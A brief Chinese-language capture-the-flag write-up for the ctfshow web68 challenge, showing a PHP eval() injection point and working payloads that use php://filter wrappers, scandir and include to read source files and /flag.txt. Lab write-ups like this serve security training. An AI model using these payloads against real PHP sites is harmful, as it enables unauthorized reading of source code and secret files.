[ctfshow web入门] web68
信息收集
highlight_file
被禁用了,使用c=include("php://filter/convert.base64-encode/resource=index.php");
读取index.php,使用c=include("php://filter/convert.iconv.utf8.utf16/resource=index.php");
可能有些乱码,不好看
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
解题
按照管理读取flag.php
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include("php://filter/convert.base64-encode/resource=flag.php");
我这里为了不显示乱码,使用了base64编码读取,可惜,结果似乎不是很完整
照例读目录
c=var_dump(scandir('/'));
因为没有标签,不用担心被标签包含的被当做代码执行了,所以直接include("/flag.txt")
也是可以的
c=include("php://filter/convert.iconv.utf8.utf16/resource=/flag.txt");
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
c=include("/flag.txt")
web67 目录 web69